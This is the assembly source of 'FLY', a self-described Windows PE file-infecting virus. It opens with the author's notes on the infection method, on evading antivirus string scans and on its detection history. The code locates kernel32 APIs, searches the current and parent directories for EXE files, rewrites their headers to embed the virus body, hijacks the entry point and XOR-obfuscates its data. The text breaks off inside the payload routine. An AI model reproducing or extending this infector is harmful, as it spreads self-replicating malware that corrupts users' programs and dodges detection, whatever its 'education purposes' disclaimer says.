;@ECHO OFF
;GOTO MAKE

COMMENT @
				-=[ FLY ]=-
		               a lame virus
		                 by yoda
version: 1.21

Music..................borrowed Nirvana-Nevermind CD/Busta Rhymes/KKS/RunDMC
Assembler..............MASM
Editor.................UltraEdit32
Reason for coding......last school holiday day :)
Target files...........PE32/PE32+ EXE files
Payload................MessageBox if PC is already 30min up

It was nice to find out that KAV added FLY 1.1 to its virii database as Win32.Small.1144.
The edge is that they didn't find the "FLY" trademark in the header and so it rests in
disinfected files :)
This version is fully recoded. The old code was often less optimized and such things.
FLY 1.2 infects 32/64 bit EXE files in the current and in all subdirectries (it's called
dot dot methode, I think).
Whereby I don't know whether infected PE32+ files will run...I think:NO...in this case you'll
have to look at FLY as a PE32 infector with a PE32+ destruction feature :)
The virus body is neither appended at the target file image nor it's written into a
section (like the RelocationDirectory section - .reloc). First I patch the file image
to make the SizeOfHeaders 0x1000...move sections physically, fix NT/ST headers... And after
that the virus body is written into the PE header. I didn't include any BoundImportDirectory
processing. This Directory is always (I think) stored in the PE Header (after the
SectionHeaderTable). If present, it maybe gets overwritten, so I simply clear the BoundImport
DataDirectory in the DataDirectoryEntryTable.
The EntryPoint RVA in the header of the victim isn't changed. FLY assembles...
	PUSH    ptr_to_virus_body
	RET
...at the EntryPoint and when the execution of the virus body is finished, it rewrites the
orginal EntryPoint bytes and jumps to it.
Because we don't have write access in the PE header in memory, one of the first steps FLY does
is getting this access by the VirtualProtect API.
I generally tried to avoid strings like "*.exe", "MZ", "MessageBoxA" in the virus body. This
is reallized by different ways:obfuscation values, build strings on stack or by XORing the
data partion of the virus. Any other protection schemes like Anti-Debugging, Polymorphism or
things like that aren't used.
Payload is a simply but topmost :) MessageBox if the PC is already 30min up.

Disclaimer:
~~~~~~~~~~~
I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SOURCE CODE NOR IT'S COMPILED EXECUTABLE !
I JUST CODED "FLY" FOR EDUCATION PURPOSES !

History:
~~~~~~~~
1.21: ( Virsu size: 0x715 Bytes )
- finally added SEH frame in "GetNTHeaders" routine

1.2: ( Virus size: 0x6D7 Bytes )
- all recoded (see above)
- [...]

1.1: ( Virus size: 0x484 Bytes / 1156 Bytes )
- Code optimized a bit
- Boring PER added
- API string CRC method added
- Minor bugfixes

1.0: ( Virus size: 0x560 Bytes / 1376 Bytes )
- first release

yoda

@

.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE

; ------ INCLUDE's ----------------------------------------------------------------------
INCLUDE     \masm32\include\windows.inc

INCLUDE     \masm32\include\kernel32.inc
INCLUDELIB  \masm32\lib\kernel32.lib

; ------ STRUCTS-------------------------------------------------------------------------
PUSHA_STRUCT STRUCT 1
	_EDI              DWORD ?
	_ESI              DWORD ?
	_EBP              DWORD ?
	_ESP              DWORD ?
	_EBX              DWORD ?
	_EDX              DWORD ?
	_ECX              DWORD ?
	_EAX              DWORD ?
PUSHA_STRUCT ENDS

;SEH_DATA STRUCT 1
;	dwNewESP          DWORD ?
;	dwNewEIP          DWORD ?
;SEH_DATA ENDS

IMAGE_OPTIONAL_HEADER64 STRUCT 1
  Magic                         WORD       ?
  MajorLinkerVersion            BYTE       ?
  MinorLinkerVersion            BYTE       ?
  SizeOfCode                    DWORD      ?
  SizeOfInitializedData         DWORD      ?
  SizeOfUninitializedData       DWORD      ?
  AddressOfEntryPoint           DWORD      ?
  BaseOfCode                    DWORD      ?
  ImageBase                     QWORD      ?
  SectionAlignment              DWORD      ?
  FileAlignment                 DWORD      ?
  MajorOperatingSystemVersion   WORD       ?
  MinorOperatingSystemVersion   WORD       ?
  MajorImageVersion             WORD       ?
  MinorImageVersion             WORD       ?
  MajorSubsystemVersion         WORD       ?
  MinorSubsystemVersion         WORD       ?
  Win32VersionValue             DWORD      ?
  SizeOfImage                   DWORD      ?
  SizeOfHeaders                 DWORD      ?
  CheckSum                      DWORD      ?
  Subsystem                     WORD       ?
  DllCharacteristics            WORD       ?
  SizeOfStackReserve            QWORD      ?
  SizeOfStackCommit             QWORD      ?
  SizeOfHeapReserve             QWORD      ?
  SizeOfHeapCommit              QWORD      ?
  LoaderFlags                   DWORD      ?
  NumberOfRvaAndSizes           DWORD      ?
  DataDirectory                 IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER64 ENDS

IMAGE_NT_HEADERS64 STRUCT 1
  Signature         DWORD                   ?
  FileHeader        IMAGE_FILE_HEADER       <>
  OptionalHeader    IMAGE_OPTIONAL_HEADER64 <>
IMAGE_NT_HEADERS64 ENDS

; ------ EQU's --------------------------------------------------------------------------
OBFUSCATION_VAL           EQU 018273645h
FLY_BODY_SIZE             EQU (FLY_END - FLY_START)
FLY_TRADEMARK             EQU "YLF"                                 ; pasted in FileHeader.PointerToSymbolTable
VIRUS_OFFSET              EQU (01000h - FLY_BODY_SIZE)
MIN_PAYLOAD_TICK          EQU 30 * 60 * 1000                        ; (30 min)

; ------ CODE ---------------------------------------------------------------------------
.CODE
	ASSUME FS : NOTHING
Main:
	CALL GetVersion			; The compiled exe won't run on Win2k without any Imports :(
	                                ; This call is just for the first generation

FLY_START:
;	INT  3
	;-> receive delta
	PUSHAD
	CALL    get_delta
  get_delta:
        ADD     DWORD PTR [ESP], OBFUSCATION_VAL
        LEA     EBX, [OFFSET get_delta + OBFUSCATION_VAL]
        POP     EBP
        SUB     EBP, EBX
        
        ;-> get kernel ImageBase
        PUSH    [ESP].PUSHA_STRUCT._ESP
        CALL    GetKernelBase
        TEST    EAX, EAX
        JZ      total_quit
        MOV     EDI, EAX                                             ; EDI -> K32 base
        
        ;-> get write access for the virus body (in PE Header is usually ReadOnly access)
        SUB     ESP, 16
        MOV     ESI, ESP                                             ; ESI -> base ptr of our little stack frame
        MOV     DWORD PTR [ESI], "triV"                              ;
        MOV     DWORD PTR [ESI + 4], "Plau"                          ;
        MOV     DWORD PTR [ESI + 8], "etor"                          ;
        MOV     DWORD PTR [ESI + 12], "tc"                           ; build "VirtualProtect\0" str on stack
        PUSH    15
        PUSH    ESI
        PUSH    EDI
        CALL    GetProcAddr
        ADD     ESP, 16
        PUSH    EAX                                                  ; reserve a DWORD on the stack as lpflOldProtect buff
        PUSH    ESP
        PUSH    PAGE_EXECUTE_READWRITE
        PUSH    FLY_BODY_SIZE
        LEA     EBX, [EBP + FLY_START]
        PUSH    EBX
        CALL    EAX                                                  ; modify page access via VirtualProtect        
        POP     EAX
        
        ;-> dexor our data partition
        MOV     EBX, [EBP + dwEPRva]                                 ; EBX -> EntryPoint RVA (arg1)
        CALL    GetXorByte                                           ; returns 0 in first generation
        PUSH    EAX
        PUSH    (Variable_Crypt_End - Variable_Crypt_Start)
        LEA     EAX, [EBP + Variable_Crypt_Start]
        PUSH    EAX
        CALL    memxor          
        
        MOV     [EBP + dwK32Base], EDI                               ; now we can save the K32 base

        ;-> collect addresses of needed APIs
        CALL    GrabAPIs
        
        ;-> PE infection
        MOV     EBX, EBP
        CALL    TraceAndInfectDirectory
        
	;-> return to OS/original EntryPoint
	TEST    EBP, EBP                                             ; EBP == 0 -> first generation
	JNZ     non_virgin_generation
  total_quit:
	POPAD
	RET                                                          ; return to OS
	
  non_virgin_generation:
        ;-> payload
        CALL    DriveUserNutsHiHi
        ;-> move EntryPoint ptr to EDI of the popad'd regs
        MOV     EAX, [EBP + dwImageBase]
        ADD     EAX, [EBP + dwEPRva]
        MOV     [ESP].PUSHA_STRUCT._EDI, EAX
        ;-> restore bytes at the EntryPoint
        PUSH    6
        PUSH    EAX
        LEA     EAX, [EBP + bEntryData]
        PUSH    EAX
        CALL    memcpy
        POPAD
        JMP     EDI                                                  ;-> jump to victim's EntryPoint
	
;
; Args:
; [ESP + 4]   - initial ESP value
;
; Returns:
; ImageBase of Kernel32.dll or 0 in EAX
;
; Reserved Regs: NO
;
GetKernelBase:
ARG_1 EQU [ESP + 4]
	;INT     3
	; wipe LOWORD of K32 ptr
	MOV     ESI, ARG_1
	MOV     ESI, [ESI]                                           ; ESI -> ptr into K32
	SAR     ESI, 16                                              ;
	SAL     ESI, 16                                              ; ESI &= 0xFFFF0000
  @@test_4_PE_hdr:
	PUSH    ESI
	CALL    GetNTHeaders
	TEST    EAX, EAX
	JZ      @F
	; K32 PE hdr found !
	XCHG    EAX, ESI		
	JMP     @@exit_proc
  @@:
  	SUB     ESI, 000010000h
  	JMP     @@test_4_PE_hdr
  @@exit_proc:
	RET     4
	
;
; Args:
; [ESP + 4]   - ptr to an PE image
; EBP         - delta !
;
; Returns:
; the ptr to the NT headers of NULL in case of an error
;
; Reserved Regs: ALL
;
GetNTHeaders:
ARG_1 EQU [ESP + 4 + 2*4 + SIZEOF PUSHA_STRUCT]
;	INT    3
	PUSHAD
	; set up SEH frame
	SUB     EAX, EAX
	LEA     EBX, [EBP + SehHandler]
	PUSH    EBX
	PUSH    FS:[EAX]
	MOV     FS:[EAX], ESP
	; process
	SUB     EAX, EAX                                             ; EAX -> 0 (result REG)
	MOV     ESI, ARG_1                                           ; ESI -> pImage
	MOVZX   EDX, WORD PTR [ESI]
	ADD     EDX, 1234
	SUB     EDX, "ZM" + 1234
	JNZ     GetNTHeaders_exit
	MOV     EDI, DWORD PTR [ESI].IMAGE_DOS_HEADER.e_lfanew
	MOV     EDX, [EDI + ESI]
	SUB     EDX, 4321
	SUB     EDX, "EP" - 4321
	JNZ     GetNTHeaders_exit
	LEA     EAX, [EDI + ESI]	
  GetNTHeaders_exit:
	SUB     EBX, EBX
	POP     FS:[EBX]
	ADD     ESP, 4 
	MOV     [ESP].PUSHA_STRUCT._EAX, EAX                              ; EAX -> popad'd REGs
	POPAD
	RET     4
	
SehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
;	INT     3
	;-> modify EIP and continue execution
	MOV     EAX, pContext                                        ; EAX -> context ptr
	MOV     ECX, [EAX].CONTEXT.regEbp                            ; ECX -> debuggee's EBP
	LEA     EBX, [ECX + GetNTHeaders_exit]
	MOV     [EAX].CONTEXT.regEip, EBX
	MOV     EAX, ExceptionContinueExecution
	RET
SehHandler ENDP  	
	
;
; void* GetProcAddr(HINSTANCE hDLL, char* szAPI, DWORD dwcAPIStrSize);
;
; Returns:
; NULL     - in case of an error
;
; Reserved Regs: Win32 API
;
GetProcAddr:
ARG_1 EQU [ESP +  4]
ARG_2 EQU [ESP +  8]
ARG_3 EQU [ESP + 12]
	PUSH    EBX
	PUSH    ESI
	PUSH    EDI
	MOV     EDX, [ESP + 4 + 12]                                  ; EDX -> dll base
	
	; get ptr to NT hdrs
	PUSH    EDX
	CALL    GetNTHeaders
	TEST    EAX, EAX                                             ; EAX -> ptr to NT hdrs
	JZ      @@GetProcAddr_exit
	
	; get ptr to ExportTable (PE32/PE32+ dependent code)
	CMP     WORD PTR [EAX].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR32_MAGIC
	JNZ     get_exp_table_rva_64
	MOV     EDI, [EAX].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
	JMP     @F
  get_exp_table_rva_64:
  	MOV     EDI, [EAX].IMAGE_NT_HEADERS64.OptionalHeader.DataDirectory[0].VirtualAddress
  @@:
  	ADD     EDI, EDX                                             ; EDI -> exp table RVA
  	MOV     ESI, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNames     ; ESI -> exp symbol names chain RVA
  	ADD     ESI, EDX
  	SUB     EBX, EBX                                             ; EBX = chain index
  	
  process_name:
        ; compare API strings
        LODSD
        PUSHAD
        LEA     EDI, [EAX + EDX]
        MOV     ESI, [ESP + 8 + SIZEOF PUSHA_STRUCT + 12]
        MOV     ECX, [ESP + 12 + SIZEOF PUSHA_STRUCT + 12]
        REPZ    CMPSB
        POPAD
        JZ      API_name_found_in_chain  	
  	INC     EBX
  	CMP     EBX, [EDI].IMAGE_EXPORT_DIRECTORY.NumberOfNames
  	JNZ     process_name
  	; (all names processed but nothing found)
  	SUB     EAX, EAX
  	JZ      @@GetProcAddr_exit
  	
  API_name_found_in_chain:
        ; grab corresponding ordinal
        MOV     EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        ADD     EAX, EDX                                             ; EAX -> ordinal chain ptr
        MOVZX   ECX, WORD PTR [EAX + EBX*2]                          ; ECX -> symbol ordinal
        
        ; finally get symbol RVA
        MOV     EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        ADD     EAX, EDX                                             ; EAX -> symbol RVA chain ptr
        MOV     EAX, [EAX + ECX*4]	
        ADD     EAX, EDX                                             ; EAX -> symbol ptr
  @@GetProcAddr_exit:
        POP     EDI
        POP     ESI
        POP     EBX
	RET     12
	
;
; Reserved Regs: NO
;
GrabAPIs:
	LEA     ESI, [EBP + OFFSET API_table]                        ; ESI -> first API table entry
  NextApiTableEntry:
	; receive API addr of current struct
	MOVZX   EDI, BYTE PTR [ESI]                                  ; EDI -> API str length
	PUSH    EDI
	LEA     EAX, [ESI + 5]
	PUSH    EAX
	PUSH    [EBP + dwK32Base]
	CALL    GetProcAddr
	INC     ESI                                                  ; ESI += 1
	MOV     [ESI], EAX
	; process next struct
	ADD     ESI, EDI
	ADD     ESI, 4
	SUB     EAX, EAX
	CMP     BYTE PTR [ESI], AL
	JNZ	NextApiTableEntry
	RET
	
;
; Args:
; EBX - delta
;
; Reserved Regs: NO
;
TraceAndInfectDirectory PROC
	LOCAL   WFD                 : WIN32_FIND_DATA
	LOCAL   cPath[MAX_PATH]     : BYTE
	LOCAL   hFind               : HANDLE
	
	; get current directory
	LEA     ESI, cPath                                           ; ESI -> path buffer
	PUSH    ESI
	PUSH    MAX_PATH
	CALL    [EBX + _GetCurrentDirectory]
  process_current_dir:
        PUSH    EAX                                                  ; reserve path length
        PUSH    ESI
        CALL    [EBX + _SetCurrentDirectory]
        POP     EAX
        LEA     EDI, [ESI + EAX]
	MOV     AX, "*\"
	STOSW
	MOV     AX, "E."
	STOSW
	MOV     AX, "EX"
	STOSW
	SUB     EAX, EAX
	STOSB
	LEA     EDI, WFD                                             ; EDI -> WIN32_FIND_DATA ptr
	PUSH    EDI
	PUSH    ESI
	CALL    [EBX + _FindFirstFile]
	MOV     hFind, EAX
	INC     EAX
	JZ      trace_previous_dir
  next_file_in_dir:
  	LEA     EAX, [EDI].WIN32_FIND_DATA.cFileName
  	PUSH    EAX
  	CALL    InfectFile
  	PUSH    EDI
  	PUSH    hFind
  	CALL    [EBX + _FindNextFile]
  	DEC     EAX
  	JZ      next_file_in_dir  	
  trace_previous_dir:
        PUSH    ESI
        CALL    WipeLastDirInPath
        JC      process_current_dir                  
	; cleanup
	PUSH    hFind
	CALL    [EBX + _FindClose]
  TraceAndInfectDirectory_exit:
	RET
TraceAndInfectDirectory ENDP

;
; if the last directory was successfully ripped from path string then the carry flag is set
; addionally the new path string size is returned in EAX
;
; Args:
; [ESP +  4] - path buffer
;
; Reserved Regs: Win32 API
;
WipeLastDirInPath:
ARG_1 EQU [ESP + 4]
	PUSH    EBX
	PUSH    ESI
	PUSH    EDI
	CLC
	CLD
	SUB     EAX, EAX
	MOV     EDI, ARG_1
	MOV     ECX, MAX_PATH
	REPNZ   SCASB
	STD
	MOV     AL, "\"
	NEG     ECX
	ADD     ECX, MAX_PATH
	REPNZ   SCASB
	TEST    ECX, ECX
	JZ      WipeLastDirInPath_exit
	REPNZ   SCASB
	TEST    ECX, ECX
	JZ      WipeLastDirInPath_exit
	CMP     ECX, 1                                               ; will result be a root path (e.g. C:\) ?
	JZ	root_path
	MOV     BYTE PTR [EDI + 1], 0                                ; set new NUL terminator
	JMP     SHORT ret_new_str
  root_path:
        MOV     BYTE PTR [EDI + 2], 0
  ret_new_str:
	LEA     EAX, [ECX + 1]                                       ; EAX -> return string size
	STC
  WipeLastDirInPath_exit:
        POP     EDI
        POP     ESI
        POP     EBX
	CLD
	RET     4

;
; Args:
; EBX - delta
;
; Reserved Regs: ALL
; 
; Returns: void
;
;
InfectFile PROC szFname
	LOCAL   hFile           : HANDLE
	LOCAL   dwFSize         : DWORD
	LOCAL   dwc             : DWORD
	LOCAL   b64Bit          : DWORD
	LOCAL   dwHdrSizeDelta  : DWORD
;	LOCAL   dwRealHdrSize   : DWORD
	LOCAL   dwFirstSecRO    : DWORD
	LOCAL   pFirstSecHdr    : DWORD
	LOCAL   dwMemBlockSize  : DWORD
	LOCAL   pVirusBody      : DWORD
;	LOCAL   dwViriiOffset   : DWORD  ; Offset (without any Mem- or ImageBase)
	LOCAL   dwVictimBase    : DWORD

	PUSHAD
	; -> get write access to the file and map it to memory
	XOR     EAX, EAX
	PUSH    EAX
	PUSH    FILE_ATTRIBUTE_NORMAL
	PUSH    OPEN_EXISTING
	PUSH    EAX
	PUSH    FILE_SHARE_WRITE + FILE_SHARE_READ
	PUSH    GENERIC_WRITE + GENERIC_READ
	PUSH    szFname
	CALL    [EBX + _CreateFile]
	MOV     hFile, EAX
	INC     EAX
	JZ      InfectFile_exit
	SUB     EAX, EAx
	PUSH    EAX
	PUSH    hFile
	CALL    [EBX + _GetFileSize]
	MOV     dwFSize, EAX
	ADD     EAX, 01000h                                          ; add max hdr size to size of mem
	PUSH    EAX
	PUSH    GMEM_FIXED OR GMEM_ZEROINIT
	CALL    [EBX + _GlobalAlloc]
	OR      EAX, EAX
	JZ      cleanup_free_mem
	MOV     ESI, EAX                                             ; ESI -> mem ptr
	SUB     EAX, EAX
	PUSH    EAX
	LEA     EAX, dwc
	PUSH    EAX
	PUSH    dwFSize
	PUSH    ESI
	PUSH    hFile
	CALL    [EBX + _ReadFile]
	
	; -> get ptr to NT hdrs and check whether the file was already infect
	PUSH    EBP
	MOV     EBP, EBX
	PUSH    ESI
	CALL    GetNTHeaders
	POP     EBP
	OR      EAX, EAX
	JZ      cleanup_free_mem
	MOV     EDI, EAX                                             ; EDI -> NT hdrs
	MOV     EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
	ADD     EAX, OBFUSCATION_VAL
	CMP     EAX, FLY_TRADEMARK + OBFUSCATION_VAL
	JZ      cleanup_free_mem
	
	;-> check for PE32+
	SUB     EAX, EAX
	CMP     WORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR64_MAGIC
	SETZ    AL
	MOV     b64Bit, EAX
	
	PUSH    EBX                                                  ; !!! reserve unneeded delta to stack

	;-> get section hdr ptr
	MOV     AX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
	LEA     EBX, [EAX + EDI + 4 + SIZEOF IMAGE_FILE_HEADER]      ; EBX -> section hdr table ptr
	MOV     pFirstSecHdr, EBX
	
	;
	;-> infect file image
	;
	
	; -> get real size of hdrs, test whether the virus body has enough space there
	SUB     EDX, EDX
	MOV     EAX, SIZEOF IMAGE_SECTION_HEADER
	MOVZX   ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
	MUL     ECX
	MOVZX   EDX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
	LEA     EDX, [EAX + EDX + 4 + SIZEOF IMAGE_FILE_HEADER]
	ADD     EDX, [ESI].IMAGE_DOS_HEADER.e_lfanew                  ; (EDX = real size of headers)
;  	MOV     dwRealHdrSize, EDX
  	NEG     EDX
  	ADD     EDX, 01000h                                           ; EDX -> delta to hdr with 0x1000 size
  	CMP     EDX, FLY_BODY_SIZE                                    ; enough size in header ?
  	JGE     @F
  	POP     EBX
  	JMP     cleanup_free_mem
  @@:
  	; -> get the RawOffset of the first section
  	SUB     EDX, EDX
  	DEC     EDX                                                  ; EDX -> MAX_DWORD
  	MOV     EAX, EBX                                             ; EAX -> first section header
  	MOVZX   ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
  scan_sec_hdr_for_low_RO:
        CMP     [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
        JAE     @F
        MOV     EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData
  @@:
        ADD     EAX, SIZEOF IMAGE_SECTION_HEADER                     ; EAX += sizeof(IMAGE_SECTION_HEADER)
        LOOP    scan_sec_hdr_for_low_RO
        MOV     dwFirstSecRO, EDX
        NEG     EDX
        ADD     EDX, 01000h
        MOV     dwHdrSizeDelta, EDX
        
	POP     EBX                                                  ; restore delta from stack -> EBX        
  	
  	; -> patch the file image, so that it'll have a SizeOfHeaders of 0x1000
        ; move all sections by the calucalated delta back
;        INT     3
        MOV     EDX, dwFirstSecRO
        NEG     EDX
        ADD     EDX, dwFSize                                         ; EDX -> mem block size
        MOV     dwMemBlockSize, EDX
        PUSH    EDX
        PUSH    GMEM_FIXED OR GMEM_ZEROINIT
        CALL    [EBX + _GlobalAlloc]
        TEST    EAX, EAX
        JZ      cleanup_free_mem
        ; sections -> memory buffer
        XCHG    EDX, EAX                                             ; EDX -> mem block ptr
        PUSH    dwMemBlockSize
        PUSH    EDX
        MOV     EAX, dwFirstSecRO
        ADD     EAX, ESI                                             ; EAX -> ptr to first section
        PUSH    EAX
        CALL    memcpy
        ; memory buffer -> new location for sections (offset + dwHdrSizeDelta)
        PUSH     dwMemBlockSize
        LEA      EAX, [ESI + 01000h]
        PUSH     EAX
        PUSH     EDX
        CALL     memcpy
        
        PUSH    EDI
        CALL    [EBX + _GlobalFree]        
        
        ;-> fix section header table
        PUSH    EBX                                                  ; ! reserve EBX
        MOVZX   ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
        MOV     EAX, pFirstSecHdr                                    ; EAX -> first section hdr
        MOV     EDX, dwHdrSizeDelta                                  ; EDX -> hdr delta
        SUB     EBX, EBX                                             ; EBX -> 0
  fix_and_replace_section:
        CMP     [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EBX
        JZ      @F
        ADD     [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
        @@:
        ADD     EAX, SIZEOF IMAGE_SECTION_HEADER
  	LOOP    fix_and_replace_section	
  	POP     EBX                                                  ; ! restore EBX
  	
        ;-> insert virus body after the SectionHeaderTable
;	INT     3
        PUSHAD
        LEA     EDI, [ESI + VIRUS_OFFSET]                            ; EDI -> ptr to the end of the SectionHeaderTable
        LEA     ESI, [EBX + FLY_START]                               ; ESI -> start of the virus body
        MOV     ECX, FLY_BODY_SIZE
        REP     MOVSB
        POPAD

  	;-> insert EntryPoint RVA and ImageBase into virus body
  	LEA     EDX, [ESI + VIRUS_OFFSET]                            ; EDX -> virus body ptr (in victim)
  	MOV     pVirusBody, EDX
	; save OEP
  	PUSH    DWORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
  	POP     DWORD PTR [EDX + (OFFSET dwEPRva - OFFSET FLY_START)]
  	; save ImageBase
  	MOV     EAX, b64Bit
  	DEC     EAX
  	JZ      ImageBase_is_qword
  	PUSH    [EDI].IMAGE_NT_HEADERS.OptionalHeader.ImageBase
  	JMP     @F
  ImageBase_is_qword:
        PUSH    DWORD PTR [EDI.IMAGE_NT_HEADERS64.OptionalHeader.ImageBase]
  @@:
        POP     EAX
        MOV     dwVictimBase, EAX
        MOV     [EDX + (OFFSET dwImageBase - OFFSET FLY_START)], EAX
        
        ; -> redirect EntryPoint, i.e.
        ; Victim_EntryPoint:   PUSH    virii_entry_VA  (5 bytes)
        ;                      RET                     (6 bytes)
        ;INT     3
        ; find section belonging to the EntryPoint
        PUSHAD
        PUSH    [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
        MOVZX   EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
        PUSH    EAX
        PUSH    pFirstSecHdr
        CALL    RvaToSection                                         ; EAX -> sec hdr to which the EntryPoint RVA refers
        MOV     [ESP].PUSHA_STRUCT._EAX, EAX
        POPAD
        TEST    EAX, EAX
        JZ      cleanup_free_mem
        ; save bytes at EntryPoint
        MOV     EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
        SUB     EDX, [EAX].IMAGE_SECTION_HEADER.VirtualAddress
        ADD     EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData     ; EDX -> EntryPoint Offset
        ADD     EDX, ESI                                             ; EDX -> EntryPoint Ptr
        PUSH    6
        MOV     ECX, pVirusBody
        ADD     ECX, (OFFSET bEntryData - OFFSET FLY_START)
        PUSH    ECX
        PUSH    EDX
        CALL    memcpy
        ; assemble PUSH,RET at entry
        MOV     BYTE PTR [EDX], 068h
        MOV     ECX, VIRUS_OFFSET
        ADD     ECX, dwVictimBase
        MOV     DWORD PTR [EDX + 1], ECX
        MOV     BYTE PTR [EDX + 5], 0C3h
        ; set write flag in EntryPoint section
        OR      [EAX].IMAGE_SECTION_HEADER.Characteristics, 080000000h
                
  	;-> update NT hdrs
  	MOV     [EDI].IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders, 01000h
  	LEA     EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
  	MOV     DWORD PTR [EAX], (FLY_TRADEMARK - OBFUSCATION_VAL)
  	ADD     DWORD PTR [EAX], (OBFUSCATION_VAL)
  	; change EntryPoint
  	;PUSH    dwRealHdrSize
  	;POP     [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint	
  	MOV     EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint    ; EDX -> Entry RVA
  	; clear BoundImport because if it had been present we overwrote it with the virus body
  	LEA     EDI, [EDI].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[11 * 8].VirtualAddress
  	SUB     EAX, EAX
  	STOSD
  	STOSD
  	
  	;-> encrypt data parition
  	PUSHAD
  	MOV     EBX, EDX
  	CALL    GetXorByte                                           ; arg pushed above
  	PUSH    EAX
  	PUSH    (Variable_Crypt_End - Variable_Crypt_Start)
  	LEA     EAX, [ESI + (VIRUS_OFFSET + (Variable_Crypt_Start - FLY_START))]
  	PUSH    EAX
  	CALL    memxor
  	POPAD
	
  	;-> write mem to file
  	SUB     EDI, EDI                                             ; EDI -> 0
  	PUSH    FILE_BEGIN
  	PUSH    EDI
  	PUSH    EDI
  	PUSH    hFile
  	CALL    [EBX + _SetFilePointer]  	
  	PUSH    EDI
  	LEA     EAX, dwc
  	PUSH    EAX
  	MOV     EAX, dwFSize
  	ADD     EAX, dwHdrSizeDelta
  	PUSH    EAX
  	PUSH    ESI
  	PUSH    hFile
  	CALL    [EBX + _WriteFile]  	

  cleanup_free_mem:
  	PUSH    ESI
  	CALL    [EBX + _GlobalFree]
  cleanup_file_handle:
  	PUSH    hFile
  	CALL    [EBX + _CloseHandle]
  InfectFile_exit:
        POPAD
	RET
InfectFile ENDP

;
; Args:
; [ESP  + 4] - ptr to first section header
; [ESP  + 8] - number of sections
; [ESP  + C] - dwRVA
;
; Returns:
; NULL in case of an error or PIMAGE_SECTION_HEADER
;
; ReservedRegs: NO
;
RvaToSection:
ARG_1 EQU [ESP +  4]
ARG_2 EQU [ESP +  8]
ARG_3 EQU [ESP + 12]

	ASSUME  ESI : PTR IMAGE_SECTION_HEADER
        SUB     EAX, EAX
	MOV     ESI, ARG_1                                           ; ESI -> ptr to first section hdr
	MOV     ECX, ARG_2                                           ; ECX -> number of sections
	MOV     EDI, ARG_3                                           ; EDI -> target rva
        SUB     EBX, EBX                                             ; EBX -> 0
  section_header_scan_loop:
  	MOV     EDX, [ESI].VirtualAddress                            ; RVA >= VirtualAddress ?
        CMP     EDI, EDX
        JB      @F
        CMP     [ESI].Misc.VirtualSize, EBX                          ; VS == 0 (needed for Watcom files)
        JZ      add_RawSize_instead
        ADD     EDX, [ESI].Misc.VirtualSize                          ; RVA < VirtualAddress + VirtualSize ?
        JMP     compare
  add_RawSize_instead:
        ADD     EDX, [ESI].SizeOfRawData
  compare:
        CMP     EDI, EDX
        JAE     @F
        JMP     scan_done
  @@:
        ADD     ESI, SIZEOF IMAGE_SECTION_HEADER
        LOOP    section_header_scan_loop
        ASSUME  ESI : NOTHING
  scan_done:	
        TEST    ECX, ECX
        JZ      @F
        XCHG    EAX, ESI
  @@:
	RET     12

;
; Args:
; [ESP  + 4] - src
; [ESP  + 8] - dest
; [ESP  + C] - soue
;
; ReservedRegs: ALL
;
memcpy:
ARG_1 EQU [ESP +  4 + SIZEOF PUSHA_STRUCT]
ARG_2 EQU [ESP +  8 + SIZEOF PUSHA_STRUCT]
ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT]
	PUSHAD
	MOV     ESI, ARG_1
	MOV     EDI, ARG_2
	MOV     ECX, ARG_3
	REP     MOVSB
	POPAD
	RET     12
	
;
; Args:
; [ESP  +  4] - src
; [ESP  +  8] - size
; [ESP  +  C] - xor byte
;
; ReservedRegs: ALL
;
memxor:
ARG_1 EQU [ESP +  4 + SIZEOF PUSHA_STRUCT]
ARG_2 EQU [ESP +  8 + SIZEOF PUSHA_STRUCT]
ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT]
	PUSHAD
	MOV     ESI, ARG_1                                           ; ESI -> data ptr
	MOV     ECX, ARG_2
	MOV     EAX, ARG_3                                           ; EAX -> xor byte
  memxor_loop:
  	XOR     BYTE PTR [ESI], AL
  	INC     ESI
  	LOOP    memxor_loop          	
	POPAD
	RET     12	
	
;
; this is the payload
;
; ReservedRegs: ALL
;	
DriveUserNutsHiHi:
	; PC already MIN_PAYLOAD_TICK seconds up ?
	CALL    [EBP + _GetTickCount]
	CMP     EAX, MIN_PAYLOAD_TICK
	JB      DriveUserNutsHiHi_exit
	; build "USER32\0" on stack
	SUB     ESP, 8
